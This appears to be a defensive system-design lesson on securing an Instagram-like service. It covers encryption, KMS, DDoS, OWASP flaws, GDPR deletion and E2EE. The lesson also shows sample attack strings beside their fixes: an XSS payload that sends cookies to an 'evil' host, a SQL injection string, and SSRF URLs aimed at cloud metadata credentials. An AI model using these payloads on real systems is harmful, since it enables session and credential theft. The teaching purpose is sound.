- Security protects the CIA triad — confidentiality, integrity, availability — against attackers ranging from spammers to nation states. Privacy is about using personal data only as users expect and the law allows.
- Encrypt everything: TLS to clients, mTLS between services, AES-256 at rest with keys in a KMS via envelope encryption; keep secrets in a secrets manager, never in code.
- Defend in layers against DDoS (anycast/CDN absorption, WAF, rate limiting) and common web flaws — injection, XSS, CSRF, IDOR, SSRF — and parse untrusted media in sandboxes.
- Apply least privilege and zero trust; fight bots and abuse with rate limits, ML, challenges and device signals; protect accounts with 2FA, anomaly detection and session revocation.
- Honour GDPR rights with a deletion pipeline that reaches every store; minimise data (strip EXIF), keep audit logs, use E2EE for DMs, and think like an attacker with STRIDE.
1. The problem: why is security so central for Instagram?
Instagram holds some of the most personal data people have: private photos and videos, direct messages, phone numbers and emails, who they follow, where they were when a photo was taken, and what they look at. It is also a huge target:
- Account takeover: criminals use leaked password lists from other sites ("credential stuffing") to hijack accounts, especially valuable short usernames and large creator accounts.
- Spam, fake accounts and bots: automated likes/follows for sale, scam DMs, phishing comments.
- Scraping: harvesting profiles and phone numbers at scale.
- DDoS: floods of traffic to knock the service offline.
- Application vulnerabilities: a single missing permission check can expose a private account's photos to anyone.
- Insiders and supply chain: a compromised employee laptop or third-party library.
And regulators (GDPR in the EU, many others) impose obligations — with fines in the hundreds of millions of euros — on how personal data is collected, used, retained and deleted. Security cannot be one box in the architecture diagram; it is a property of every box: the apps, DNS, the load balancer, the API Gateway (TLS, authN/Z, rate limiting), each service, every data store, Kafka, and the analytics platform.
2. The CIA triad
🔒 Confidentiality
Only authorised people can read data. Breach examples: a private account's photos visible to strangers; DMs leaked; phone numbers scraped.
✅ Integrity
Data isn't altered without authorisation. Breach examples: an attacker posts from your account; like counts inflated by bots; a tampered image served from the CDN.
🟢 Availability
The service works when users need it. Breach examples: DDoS takes down the feed; ransomware encrypts databases.
Two more properties are often added: authenticity (you know who you're talking to — the app really is talking to Instagram, the login really is you) and non-repudiation (actions can be proven, e.g. via audit logs). Every control in this lesson protects one or more of these.
3. Encryption in transit
3.1 TLS between apps and Instagram
TLS (Transport Layer Security, the "S" in HTTPS) gives a connection three guarantees: confidentiality (encrypted), integrity (tampering is detected) and server authentication (the certificate proves the server is really instagram.com). See Networking Basics for the handshake. In practice:
- TLS 1.3 only (or 1.2 with strong ciphers); forward secrecy via ephemeral (EC)DHE key exchange, so a stolen server key can't decrypt previously recorded traffic.
- HSTS header tells browsers to always use HTTPS for the domain, preventing downgrade attacks.
- Certificate pinning in mobile apps: the app accepts only certificates chained to keys it expects, defeating attackers who trick a phone into trusting a rogue certificate authority. Requires careful key rotation planning.
- Edge termination: TLS terminates at the nearest edge PoP (fast handshakes, see CDN), and traffic is re-encrypted from the edge to the data center — never plaintext across the internet or even the private backbone.
3.2 mTLS between services
Inside the data center, the old model was "the internal network is trusted". Modern systems assume an attacker may already be inside (a compromised host), so service-to-service calls also use TLS — and mutual TLS (mTLS), where both sides present certificates. The Feed Service proves to the Ranking Service that it really is the Feed Service, and vice versa.
- Each service instance gets a short-lived certificate (hours to days) encoding its service identity (e.g. a SPIFFE ID like
spiffe://ig/feed), issued automatically by an internal certificate authority. Short lifetimes make stolen certificates nearly useless and force automated rotation. - Identity enables authorisation policies: "only
svc/feedandsvc/exploremay callsvc/ranking"; "onlysvc/authmay read the password-hash table". - A service mesh (Envoy/Istio/Linkerd sidecars) can do mTLS transparently, so application code doesn't change.
4. Encryption at rest
Encryption at rest protects data on disks, backups and object storage if the media is stolen, improperly decommissioned, or accessed outside the application. The standard cipher is AES-256 (Advanced Encryption Standard with a 256-bit key), usually in GCM mode, which also detects tampering.
| Level | What's encrypted | Protects against | Doesn't protect against |
|---|---|---|---|
| Full-disk / volume | Entire disks (self-encrypting drives, LUKS, cloud EBS encryption) | Stolen or discarded drives | Anyone who can query the running database |
| Database / storage-level (TDE, S3 SSE) | Database files, objects | Access to raw files, backups, snapshots | A compromised app or DB user |
| Application / field-level | Specific fields encrypted by the app before storage (phone number, email, DM content) | DB admins, SQL injection dumps, leaked backups | A compromised app server holding the keys; makes querying harder |
4.1 KMS and envelope encryption
Encryption only moves the problem to the key. Keys must never sit next to the data or in code. A Key Management Service (KMS) — AWS KMS, Google Cloud KMS, HashiCorp Vault, or an internal equivalent backed by HSMs (hardware security modules) — holds master keys that never leave it; services ask the KMS to encrypt/decrypt small things, with every use access-controlled and audit-logged.
But you can't send petabytes of photos through a KMS. Envelope encryption solves this:
- For each object (or shard, or user), generate a random data encryption key (DEK) locally.
- Encrypt the data with the DEK (fast, local AES).
- Ask the KMS to encrypt the DEK with a key encryption key (KEK) that never leaves the KMS. Store the encrypted DEK next to the data; discard the plaintext DEK.
- To read: send the encrypted DEK to the KMS (which checks permissions and logs the request), get the plaintext DEK back, decrypt the data, cache the DEK briefly.
┌──────────── stored in S3 / DB ────────────┐ ┌──────── KMS / HSM ────────┐
│ ciphertext = AES-GCM(DEK, photo bytes) │ │ KEK (never leaves) │
│ wrapped_DEK = Encrypt(KEK, DEK) │ ◄──────► │ Decrypt(wrapped_DEK) │
└───────────────────────────────────────────┘ unwrap │ → DEK (audit-logged) │
└───────────────────────────┘
Rotating the KEK = re-wrap the small DEKs, not re-encrypt petabytes of data.
Destroying a user's DEK = all their data becomes unreadable ("crypto-shredding").
def store_encrypted(user_id, blob):
dek = os.urandom(32) # 256-bit data key
nonce = os.urandom(12)
ciphertext = AESGCM(dek).encrypt(nonce, blob, associated_data=str(user_id).encode())
wrapped = kms.encrypt(key_id="ig/user-data-kek", plaintext=dek) # tiny KMS call
db.put(user_id, {"ct": ciphertext, "nonce": nonce, "wrapped_dek": wrapped})
del dek # never persisted in plaintext
Key rotation becomes cheap (re-wrap DEKs), blast radius is small (one leaked DEK exposes one object/user), and per-user DEKs enable crypto-shredding — deleting a user's key makes every copy of their encrypted data, including in backups, unreadable. That is a powerful tool for deletion (section 12).
5. Secrets management
A secret is any credential: database passwords, API keys for push providers (APNs/FCM — see Notifications), signing keys for CDN URLs and session tokens, TLS private keys. Leaked secrets in source code are one of the most common causes of breaches — public repositories are scanned by attackers within minutes of a push.
- Never in code, images or config files in Git. Use a secrets manager (HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager, or Kubernetes secrets backed by a KMS).
- Inject at runtime: the service authenticates with its workload identity (its mTLS cert / cloud IAM role) and fetches only the secrets it's allowed to.
- Prefer short-lived, dynamic credentials: e.g. Vault issues a unique DB username/password valid for 1 hour per instance; leaked credentials expire on their own and are traceable to one instance.
- Rotate regularly and automatically; support two valid versions during rotation so nothing breaks.
- Scan commits and CI logs for secrets (gitleaks, GitHub secret scanning) and revoke immediately on detection — deleting the commit is not enough.
6. DDoS: types and mitigations
A Distributed Denial of Service (DDoS) attack uses many machines (often a botnet of hijacked IoT devices) to overwhelm a service so legitimate users can't reach it — an attack on availability.
| Type | How it works | Example | Main mitigations |
|---|---|---|---|
| Volumetric (L3/L4) | Saturate network links with sheer bandwidth. | UDP/DNS/memcached amplification floods of 1+ Tbps. | Anycast spreads traffic over hundreds of PoPs; huge edge capacity; upstream scrubbing; drop unused protocols (UDP) at the edge. |
| Protocol (L3/L4) | Exhaust state in servers, firewalls, load balancers. | SYN floods (half-open connections), ACK floods, fragmented packets. | SYN cookies, stateless edge filtering, connection limits, kernel/hardware offload at the LB. |
| Application-layer (L7) | Valid-looking HTTP requests that are expensive to serve. | Millions of search queries or uncached feed/profile requests from many IPs; login floods. | WAF rules, rate limiting per IP/account/device, bot detection and challenges, caching, load shedding of expensive endpoints. |
Defence is layered from the outside in:
- Absorb at the edge: a 2 Tbps attack aimed at one anycast IP is split among, say, 200 PoPs → ~10 Gbps each, which each PoP can drop. The origin data centers never see it. This is a major advantage of the CDN/edge layer.
- WAF (Web Application Firewall): inspects HTTP requests and blocks known attack signatures (SQL injection payloads, malformed headers) and suspicious patterns (bad user agents, impossible request rates, known-bad IP reputation).
- Rate limiting at the gateway: token buckets per IP, per account and per device; tighter limits on expensive endpoints (search, login, signup).
- Make expensive things cheap: cache popular responses; require authentication for expensive endpoints; use load shedding so overload degrades rather than collapses the service.
7. Common application vulnerabilities (OWASP-style)
The OWASP Top 10 is a widely used list of the most critical web application security risks. Here are the ones most relevant to an Instagram-like system, with concrete examples and fixes.
7.1 Injection
Untrusted input is interpreted as code or a query. Classic SQL injection in a username lookup:
# ❌ VULNERABLE: input becomes part of the SQL text
q = f"SELECT * FROM users WHERE username = '{name}'"
# name = "x' OR '1'='1" → returns every user
# ✅ SAFE: parameterised query — input is always data, never SQL
cur.execute("SELECT id, username FROM users WHERE username = %s", (name,))
The same applies to NoSQL queries, Elasticsearch query DSL built from strings (search), shell commands (ffmpeg invoked with a user-supplied filename in the media pipeline), and LDAP. Use parameterised APIs and argument arrays, never string concatenation.
7.2 Cross-site scripting (XSS)
An attacker stores script in content other users will view — e.g. a comment or bio of <img src=x onerror="fetch('//evil/?c='+document.cookie)">. If instagram.com renders it as HTML, it runs in every viewer's browser with their session. Fixes: context-aware output encoding by default (React/Django templates escape automatically — avoid dangerouslySetInnerHTML / |safe), a strict Content-Security-Policy header that forbids inline scripts, and HttpOnly cookies so scripts can't read session tokens.
7.3 Cross-site request forgery (CSRF)
A malicious page makes the victim's browser send a request to instagram.com, which automatically includes their cookies — e.g. a hidden form that POSTs /web/friendships/<id>/follow/. Fixes: CSRF tokens (a random per-session token that must be included in the request body/header and that the attacker's page can't read), SameSite=Lax/Strict cookies, and checking the Origin header. Mobile apps using bearer tokens in headers (not cookies) aren't vulnerable in the same way.
7.4 Insecure direct object reference (IDOR) / broken access control
The most common serious bug class in APIs: the server trusts an ID from the request without checking the caller may access it.
# ❌ VULNERABLE: anyone who guesses/enumerates a media_id can see a private account's photo
@get("/v1/media/{media_id}")
def get_media(media_id, viewer):
return media_store.get(media_id)
# ✅ SAFE: authorise every object access on the server
def get_media(media_id, viewer):
m = media_store.get(media_id)
owner = users.get(m.owner_id)
if owner.is_private and not graph.is_approved_follower(viewer.id, owner.id) and viewer.id != owner.id:
raise NotFound() # 404, not 403: don't confirm the object exists
if graph.is_blocked(owner.id, viewer.id):
raise NotFound()
return m
Instagram-style IDs are 64-bit and time-ordered (see ID generation), so they're guessable — IDs are not secrets; authorisation must be enforced on every read and write (also for DM threads, story viewers lists, archived posts). Centralise checks in a shared privacy/authorisation layer rather than re-implementing them in each endpoint; see Authentication & Authorization.
7.5 Server-side request forgery (SSRF) via image URLs
Some features make the server fetch a URL supplied by a user: "import profile picture from URL", link previews in DMs, fetching a thumbnail for a shared link. An attacker supplies an internal address instead:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ ← cloud metadata: steals IAM keys
http://10.0.3.17:6379/ ← internal Redis
http://localhost:8080/admin ← internal admin panel
http://evil.example/redirect → 302 → http://169.254.169.254/... ← bypass via redirect / DNS rebinding
Fixes: run URL fetching in an isolated egress proxy with no access to internal networks; resolve the hostname and block private, loopback, link-local and metadata IP ranges (re-check after every redirect, pin the resolved IP to defeat DNS rebinding); allow only http/https and expected ports; limit response size and time; and on clouds enforce IMDSv2 (metadata requires a session token).
7.6 Other high-impact risks
- Broken authentication: weak session handling, missing brute-force protection (section 9).
- Security misconfiguration: public S3 buckets, debug endpoints in production, default credentials, verbose error pages leaking stack traces.
- Vulnerable dependencies: an old image library with a known exploit — use dependency scanning and fast patching.
- Excessive data exposure: an API returning a user's email and phone number in a JSON field the app simply doesn't display — scrapers will find it. Return only fields the caller is allowed to see.
8. Input validation and safe media parsing
Instagram's core feature is accepting files from strangers and processing them on its servers — one of the riskiest things a service can do. Image and video decoders are complex C/C++ code with a long history of memory-corruption vulnerabilities (e.g. "ImageTragick" in ImageMagick in 2016; a heap overflow in libwebp, CVE-2023-4863, exploited in the wild in 2023). A crafted JPEG can mean remote code execution on a media worker.
- Validate early: check size limits before upload completes (pre-signed URL conditions, see Media Upload); detect the type by magic bytes, not the file extension or
Content-Type; allowlist formats (JPEG, PNG, HEIC, WebP, MP4…). - Limit resources: cap pixel dimensions and frame counts to defeat decompression bombs (a 50 KB PNG that decodes to 50,000 × 50,000 pixels = 10 GB of RAM); CPU-time and memory limits per job.
- Sandbox the decoders: run media processing workers in isolated containers/VMs (seccomp, gVisor, Firecracker), with no network access except to fetch input and write output, and no credentials beyond that.
- Re-encode everything: never serve the user's original bytes; decode and re-encode to known-good renditions. This also strips hidden payloads and metadata (EXIF — section 12).
- Prefer memory-safe parsers where possible (Rust/Go implementations), keep libraries patched, and fuzz parsers continuously.
- Validate all other input server-side: lengths of captions and bios, Unicode normalisation (homoglyph usernames like "instаgram" with a Cyrillic "а"), allowed characters in usernames, numeric ranges. Client-side validation is for UX only — attackers call the API directly.
9. Least privilege and zero trust
Least privilege: every person, service and process gets the minimum access needed, for the minimum time. Zero trust: no implicit trust based on network location — every request is authenticated, authorised and encrypted, whether it comes from the internet or from the next rack ("never trust, always verify"; Google's BeyondCorp is the well-known example).
| Principle | In practice at Instagram-like scale |
|---|---|
| Per-service identity & scoped permissions | The Search Indexer can read the post-created Kafka topic and write to Elasticsearch — nothing else. It cannot read DMs or the password table. |
| Database grants per service | Feed Service has read-only access to post metadata; only the User/Auth Service can read credential tables. |
| Employee access | No standing access to production user data; just-in-time access with a justification and approval, time-limited, fully audit-logged (section 13). |
| Device & user verification | Engineers reach internal tools only from managed, healthy devices with hardware-key 2FA — no VPN-equals-trusted. |
| Segmentation | Media-processing sandboxes cannot open connections to databases; production can't be reached from developer laptops directly. |
| Blast-radius thinking | Assume any single component is compromised; what can the attacker reach from there? Reduce it. |
10. Bot, spam and abuse defence
Much of Instagram's "security" work is fighting abuse: fake accounts, automated likes/follows, spam comments, scam DMs, scraping. Attackers use real phones, residential proxies and human click-farms, so no single signal works. Defence is layered and adaptive:
- Rate limits per account, device, IP, and action type (follows/hour, comments/minute, DMs to non-followers/day) — new accounts get tighter limits until they build reputation. See Rate Limiting.
- ML classifiers scoring accounts and actions from behavioural features: action velocity, account age, graph patterns (a cluster of new accounts all following the same targets), content similarity (the same comment posted 10,000 times), and reports. Real-time scoring uses stream processing (see Analytics & ML).
- Challenges / friction when risk is elevated: CAPTCHA, phone or email verification, a "confirm it's you" step, temporarily blocked actions. Friction is applied in proportion to risk so normal users rarely see it.
- Device fingerprinting and attestation: signals that a request comes from a genuine, unmodified app on a real device (Google Play Integrity, Apple App Attest/DeviceCheck), plus device identifiers that link many accounts to one emulator farm.
- Reputation for IPs, ASNs (e.g. data-center ranges), email domains, phone-number ranges.
- Enforcement and feedback: removing fake followers and likes, disabling networks of accounts together, feeding confirmed abuse back into model training. Keep exact thresholds secret — attackers probe them.
11. Account security
- Password storage: never store passwords; store a slow, salted hash (Argon2id, scrypt or bcrypt) so a leaked table is very expensive to crack. Check new passwords against known-breached lists.
- Two-factor authentication (2FA): something you know + something you have. Authenticator-app TOTP codes or hardware keys/passkeys are much stronger than SMS (SIM-swap attacks). Passkeys (WebAuthn/FIDO2) are phishing-resistant because the credential is bound to the real domain.
- Login anomaly detection: score each login on new device, new country, impossible travel (London then Lagos 20 minutes later), known-bad IPs, many failed attempts across accounts (credential stuffing). Risky logins get a challenge or are blocked, and the user is notified ("New login from…").
- Session management: short-lived access tokens plus refresh tokens bound to the device; server-side session records so tokens can be revoked. The "Login activity → Log out" feature and "log out of all devices" after a password change must actually invalidate tokens everywhere — which requires a revocation check (a session table or revocation list consulted by the gateway/auth service, cached for seconds). See Authentication.
- Account recovery is the weakest link: attackers target recovery flows (social engineering support, SIM swaps). Use multiple verified signals, delays for sensitive changes, and notify the old email/phone when they change.
12. Privacy: GDPR rights, deletion and data minimisation
12.1 GDPR rights in system terms
The EU's General Data Protection Regulation (GDPR) gives people rights over their personal data, and each right becomes an engineering requirement:
| Right | What the user can ask | System requirement |
|---|---|---|
| Access (Art. 15) | "What data do you have about me?" | Find all data for a user across every store and export it (Instagram's "Download your information"). |
| Portability (Art. 20) | "Give me my data in a usable format." | Machine-readable export (JSON/HTML + media files). |
| Rectification (Art. 16) | "Fix incorrect data." | Edits propagate to derived copies (caches, search index). |
| Erasure (Art. 17) | "Delete my data." | A deletion pipeline that reaches every copy, within a bounded time. |
| Restriction / objection (Art. 18, 21) | "Stop using my data for X" (e.g. personalised ads). | Consent and purpose flags checked by pipelines and ranking. |
Underlying principles: lawful basis and purpose limitation (use data only for stated purposes), data minimisation, storage limitation (retention limits), security, and accountability (being able to prove compliance). Regulators enforce with large fines — e.g. Ireland's Data Protection Commission publicly fined Instagram €405 million in 2022 over the handling of children's data.
12.2 A deletion pipeline that reaches every store
Deleting an account is not DELETE FROM users WHERE id = 42. A user's data is spread across the whole architecture diagram: their row in the User DB, posts and comments in Cassandra, photos and every rendition in object storage, cached copies on the CDN, post IDs in millions of followers' Redis timelines, the search index, DMs, likes on others' posts, follow edges in the social graph, analytics tables, ML features and training sets, logs, and backups.
- Immediately hide: mark the account deactivated so its profile, posts and comments stop being served (API checks the flag). Optionally start a grace period during which the user can cancel — Meta's help pages describe a 30-day window for Instagram account deletion, after which deletion proceeds and can take up to about 90 days to complete across systems.
- Record in a deletion ledger (durable, idempotent), then publish a
user_deletedevent. - Each owning service deletes its data: user row and credentials; posts, comments and likes (and decrement counters); media objects and all renditions; CDN purge for cached URLs (signed URLs expire anyway); remove the user's posts from followers' Redis timelines lazily or by filtering on read; delete documents from the search index; follow edges; DM content per the product's rules.
- Analytics and ML: row-level deletes in lake tables (table formats like Iceberg/Delta support them), drop rows from feature stores; exclude the user from future training sets; pseudonymise where full deletion isn't feasible and the law allows.
- Backups: either rely on bounded backup retention (e.g. backups expire after N days, documented in the privacy policy) with a process to re-apply deletions if a backup is ever restored, or crypto-shred by destroying the user's per-user encryption key.
- Logs: short retention; user identifiers pseudonymised in long-lived logs.
- Verify: an independent reconciliation job scans stores for data belonging to deleted users, and per-store deletion SLAs are monitored. Every new data store must register a deletion handler before launch — otherwise it becomes a silent compliance gap.
Deletion must be idempotent and retryable (handlers will crash halfway), and it must be designed for scale: deleting a celebrity's account touches hundreds of millions of timelines and likes, so it runs as throttled background work.
12.3 Data minimisation and EXIF stripping
The safest data is data you never collect. Data minimisation means collecting only what a feature needs, keeping it only as long as needed, and limiting who and what can access it. Concrete examples:
- EXIF stripping: phone photos embed EXIF metadata — GPS coordinates (precisely where the photo was taken — often someone's home), device model, serial numbers, timestamps. Instagram is widely reported to remove this metadata from published images; the media pipeline's re-encoding step (section 8) naturally drops it. Any location a user chooses to tag is stored separately and explicitly.
- Retention limits: raw IP addresses and precise location in logs kept for days, not years; analytics on pseudonymous IDs.
- Don't log content: no message bodies, passwords or tokens in logs or analytics events (see Observability).
- Field-level visibility: APIs return contact information only to those entitled to see it.
13. Audit logs
An audit log records security-relevant actions: who (human or service) did what to which resource, when, from where, and why (justification/ticket). Examples: an employee viewing a user's account in an internal tool; a change to a user's email; a KMS decrypt of a sensitive key; a permission grant; a data export.
- Append-only and tamper-evident: written to a separate system that the actors being audited can't modify (write-once storage, hash-chaining entries so deletions are detectable).
- Separate from debugging logs: different retention (often years), access and integrity requirements.
- Actively reviewed: anomaly detection (an employee viewing many celebrity accounts), periodic access reviews, and investigation support after an incident.
- User-facing audit: Instagram's "Login activity" and security notifications are audit logs surfaced to users.
14. End-to-end encryption for DMs
With TLS + encryption at rest, Instagram's servers can still read DMs (they hold the keys). End-to-end encryption (E2EE) means only the sender's and recipients' devices hold the keys; the server relays ciphertext it cannot decrypt — protecting messages even from a breach of the server or from insider access.
Alice's phone Instagram servers Bob's phone
───────────── ───────────────── ───────────
fetch Bob's public prekey bundle ◄──── key directory (public keys only)
X3DH key agreement → shared secret
Double Ratchet: new key per message
encrypt("see you at 7") ──────────────► store & forward ciphertext ───────────► decrypt with own keys
sees: sender, recipient, time, size
cannot see: content
- The widely used design is the Signal Protocol: long-term identity keys, signed prekeys uploaded to a directory for asynchronous session setup (X3DH), and the Double Ratchet that derives a fresh key per message (forward secrecy and post-compromise security).
- What the server still sees: metadata — who talks to whom and when. Minimise and protect it.
- Hard problems: multi-device (each device has its own keys; messages are encrypted for each), message history on new devices (encrypted backups protected by a PIN/HSM-backed key vault), server-side search becomes impossible, and abuse/safety moderation must rely on user reports (which send the reported messages) and metadata signals rather than scanning content. Key verification (safety numbers) protects against a malicious key directory.
- Meta made E2EE the default for personal Messenger chats in December 2023 and has publicly said it is bringing E2EE to Instagram DMs, where it has been offered as an option; see Direct Messaging.
15. Threat modelling with STRIDE
Threat modelling is a structured way to ask "what can go wrong?" before building. Draw the data-flow diagram (clients, gateway, services, stores, trust boundaries), then for each element and each boundary walk through Microsoft's STRIDE categories:
| Threat | Violates | Instagram example | Typical mitigations |
|---|---|---|---|
| Spoofing | Authenticity | Logging in as someone else with stuffed credentials; a rogue service calling Ranking. | 2FA, anomaly detection, mTLS service identity. |
| Tampering | Integrity | Modifying an upload in transit; altering like counts via API abuse. | TLS, signed URLs, server-side validation, integrity checks. |
| Repudiation | Non-repudiation | An employee denies accessing a user's data. | Tamper-evident audit logs. |
| Information disclosure | Confidentiality | IDOR exposing private posts; phone numbers in API responses; EXIF GPS leaks. | Authorisation checks, minimisation, encryption, EXIF stripping. |
| Denial of service | Availability | L7 flood on search; decompression bomb on media workers. | Edge absorption, rate limits, resource limits, load shedding. |
| Elevation of privilege | Authorisation | Exploit in an image decoder gives code execution on a worker, then pivots to databases. | Sandboxing, least privilege, segmentation, patching. |
Quick guide: (1) diagram the feature and mark trust boundaries (internet ⇄ edge, service ⇄ service, service ⇄ third party); (2) list STRIDE threats per element; (3) rate them (likelihood × impact); (4) decide mitigations, accept or transfer the rest; (5) revisit when the design changes. Doing this for "import profile picture from URL" would surface SSRF immediately.
16. How Instagram applies security & privacy
Mapping the lesson onto the main architecture diagram:
- Clients: TLS with pinning; tokens stored in the OS keystore; device-integrity signals sent with sensitive actions; 2FA and login notifications.
- DNS / CDN / edge: anycast edge absorbs volumetric DDoS; signed, expiring media URLs; WAF and bot signals.
- API Gateway: authenticates every request, enforces per-user/IP/device rate limits, and rejects malformed input early.
- Services: centralised privacy/authorisation checks (private accounts, blocks, close friends, restricted accounts) on every read; parameterised queries; output encoding on the web.
- Upload & media processing: pre-signed URLs with size/type constraints; sandboxed decoders; re-encoding that strips EXIF; integrity/abuse classifiers.
- Data layer: encryption at rest with KMS-managed keys; per-service DB grants; audit-logged employee access; backups with bounded retention.
- Kafka & analytics: deletion events fan out to every consumer; analytics on pseudonymised IDs; abuse-detection models trained on behaviour signals.
Rough numbers (assumptions)
Login attempts: 50k/s at peak; credential-stuffing bursts can add 10× from millions of IPs
→ per-account + per-IP + per-device limits, plus ML risk scoring in < 20 ms per login
DDoS: 2 Tbps volumetric attack ÷ 200 anycast PoPs ≈ 10 Gbps per PoP → absorbed at the edge
Deletion: 1M account deletions/day × ~10 stores ≈ 10M deletion tasks/day ≈ 115 tasks/s (bursty)
KMS: envelope encryption → 1 KMS call per new object/user key, not per byte; DEKs cached briefly
17. Trade-offs & common pitfalls
✅ Benefits
- Protects users' most personal data and trust in the product
- Reduces breach impact through layered defences
- Keeps the service available under attack
- Regulatory compliance; avoids huge fines
- Healthier platform with less spam and fewer fake accounts
⚠️ Costs
- Latency and CPU overhead (TLS, mTLS, KMS calls, checks)
- Friction for users (2FA, challenges) — and false positives that block real people
- Engineering complexity: key management, deletion across every store
- E2EE limits server features (search, moderation, history sync)
- Constant arms race with attackers
Common pitfalls
- Trusting the internal network or the client (client-side validation only, hidden fields, "the app would never send that").
- Authorisation checks scattered per endpoint — one forgotten check = IDOR. Centralise them.
- Secrets in code or logs; long-lived static credentials.
- Fetching user-supplied URLs from servers with access to internal networks (SSRF).
- Parsing untrusted media in unsandboxed, unpatched libraries.
- Deleting from the primary DB only — leaving copies in caches, search, the CDN, analytics and backups.
- Encryption with the key next to the data, or without rotation.
- Session tokens that can't be revoked, making "log out everywhere" a lie.
- Security as a final review step instead of threat modelling during design.
18. Real-world technologies
| Technology | Category | When to use |
|---|---|---|
| Let's Encrypt / ACME, internal CAs, SPIFFE/SPIRE | Certificates and workload identity | Automated TLS certificates; short-lived service identities for mTLS. |
| Envoy, Istio, Linkerd | Service mesh | Transparent mTLS and service-to-service authorisation policies. |
| AWS KMS, Google Cloud KMS, Azure Key Vault, HSMs | Key management | Master keys, envelope encryption, audit of key use. |
| HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager | Secrets management | Storing, injecting and rotating secrets; dynamic DB credentials. |
| Cloudflare, Akamai, AWS Shield + WAF, Google Cloud Armor | DDoS protection and WAF | Edge absorption and L7 filtering. |
| reCAPTCHA, hCaptcha, Cloudflare Turnstile; Play Integrity, App Attest | Bot challenges and device attestation | Adding friction for risky traffic; verifying genuine apps. |
| Argon2id / bcrypt; TOTP; WebAuthn / passkeys | Credential security | Password hashing; 2FA; phishing-resistant login. |
| Signal Protocol (libsignal) | End-to-end encryption | E2EE messaging. |
| OWASP ZAP, Burp Suite, Semgrep, CodeQL, Dependabot/Snyk, gitleaks | Security testing and scanning | Finding vulnerabilities, vulnerable dependencies and leaked secrets. |
| gVisor, Firecracker, seccomp; libFuzzer/OSS-Fuzz | Sandboxing and fuzzing | Isolating and hardening untrusted-media parsing. |
19. Interview corner
How do you secure communication between Instagram's microservices?
Zero trust: every call uses mTLS with short-lived certificates carrying a service identity (SPIFFE-style), issued and rotated automatically by an internal CA, typically via a service mesh sidecar. On top of authentication, enforce authorisation policies (which services may call which methods), propagate end-user identity in a signed token for user-level checks, and log access to sensitive services. Network segmentation and least-privilege data-store credentials limit blast radius if one service is compromised.
Explain envelope encryption and why it's used.
Data is encrypted locally with a random data key (DEK, AES-256-GCM); the DEK is encrypted ("wrapped") by a key-encryption key that never leaves the KMS/HSM, and the wrapped DEK is stored with the data. Reads unwrap the DEK through the KMS (access-controlled, audited) and cache it briefly. Benefits: bulk data never goes through the KMS (performance), KEK rotation only re-wraps small DEKs, compromise of one DEK exposes only its object, and per-user DEKs enable crypto-shredding for deletion — including copies inside backups.
A security researcher reports they can view private accounts' photos by changing the media ID in the API. What happened and how do you fix it systemically?
An IDOR / broken access control: the endpoint fetched the object by ID without checking whether the viewer may see it. Immediate fix: add the privacy check (owner, approved follower, not blocked) and return 404. Systemic fixes: route all content reads through a centralised privacy/authorisation layer so endpoints can't forget; automated tests and static checks that every data-fetching endpoint calls it; assume IDs are guessable; audit logs to determine whether it was exploited; and a bug-bounty payout plus a postmortem.
Design account deletion so that it satisfies GDPR's right to erasure.
Immediately deactivate (stop serving) the account, optional grace period, then a durable deletion ledger and a user_deleted event on Kafka. Every store owns a registered, idempotent deletion handler: User DB, Cassandra posts/comments/likes (with counter fixes), object storage media and renditions, CDN purge, Redis caches/timelines, search index, graph edges, DMs, feature store, analytics lake (row-level deletes), ML training-set exclusion; logs via short retention/pseudonymisation; backups via bounded retention with re-deletion on restore, or crypto-shredding. A reconciliation job verifies no leftovers and per-store SLAs are monitored. New stores can't launch without a deletion handler.
How would you defend the login endpoint against credential stuffing?
Layers: rate limits per account, per IP, per device and per ASN; a risk model using IP reputation, device fingerprint/attestation, failure ratios across many accounts and velocity; step-up challenges (CAPTCHA, email/SMS code) for risky attempts instead of hard blocks; checking passwords against breached-password lists and forcing resets for known-compromised credentials; encouraging 2FA/passkeys; notifying users of new logins; and generic error messages that don't reveal whether an account exists. Monitor login success-rate anomalies globally.
What changes in the system when DMs become end-to-end encrypted?
The server stores and forwards ciphertext and hosts a public-key directory (identity keys, signed prekeys, one-time prekeys); clients do X3DH and Double Ratchet. Multi-device needs per-device keys and fan-out encryption. Server-side features that read content — search, link previews generated on the server, spam/abuse scanning — must move to the client or rely on metadata and user reports. History on new devices needs encrypted backups with HSM-protected recovery keys. Metadata still needs protection and minimisation. Key-change notifications and safety numbers guard against a malicious directory.
20. Check your understanding
Classify each as a confidentiality, integrity or availability problem: (a) a bot inflates like counts, (b) a SYN flood takes down the load balancers, (c) a cached private photo URL is shared publicly, (d) ransomware encrypts the user DB.
(a) Integrity (data no longer reflects reality). (b) Availability. (c) Confidentiality (mitigated by signed, expiring URLs). (d) Primarily availability (and integrity) — and confidentiality too if data is also exfiltrated, as modern ransomware usually does.
The "import photo from URL" feature fetches http://169.254.169.254/latest/meta-data/ for an attacker. Name the vulnerability and three mitigations.
SSRF. Mitigations: fetch through an isolated egress proxy with no internal network access; resolve and block private/loopback/link-local/metadata ranges (rechecking after redirects and pinning the resolved IP against DNS rebinding); require IMDSv2-style tokens for metadata; allow only http/https on standard ports with size/time limits.
A 2.4 Tbps volumetric attack hits your anycast IP announced from 300 PoPs, each with 40 Gbps of spare capacity. Do you survive, and what if you used a single data center with a 400 Gbps uplink?
Anycast spreads it to ~2.4 Tbps / 300 = 8 Gbps per PoP (if evenly distributed), well under 40 Gbps — absorbed. A single 400 Gbps uplink would be saturated 6× over, and legitimate users couldn't reach you regardless of how well your servers filter. (Real distributions are uneven, so headroom matters.)
A user changes their password because they think they were hacked. Their stolen session on the attacker's phone keeps working for 7 days. What design mistake is this, and the fix?
Sessions/tokens weren't revocable — e.g. long-lived self-contained tokens checked only by signature. Fix: server-side session records (or a revocation list) checked by the gateway, with short-lived access tokens (minutes) and refresh tokens that are invalidated on password change and on "log out of all devices".
Why does re-encoding every uploaded image improve both security and privacy?
Security: output is produced by your encoder in a known-good format, so malformed structures, polyglot files and hidden payloads in the original aren't served to other users (decoding should still be sandboxed, since the exploit risk is in parsing). Privacy: re-encoding drops EXIF metadata such as GPS coordinates and device serials.
You delete a user's rows from PostgreSQL and Cassandra. List four other places their data probably still lives.
Any four of: object storage media and renditions; CDN caches; Redis caches and followers' timelines; Elasticsearch search index; social-graph store; DM store; analytics lake/warehouse tables; feature store and ML training sets; logs; backups and snapshots; Kafka topics within retention.
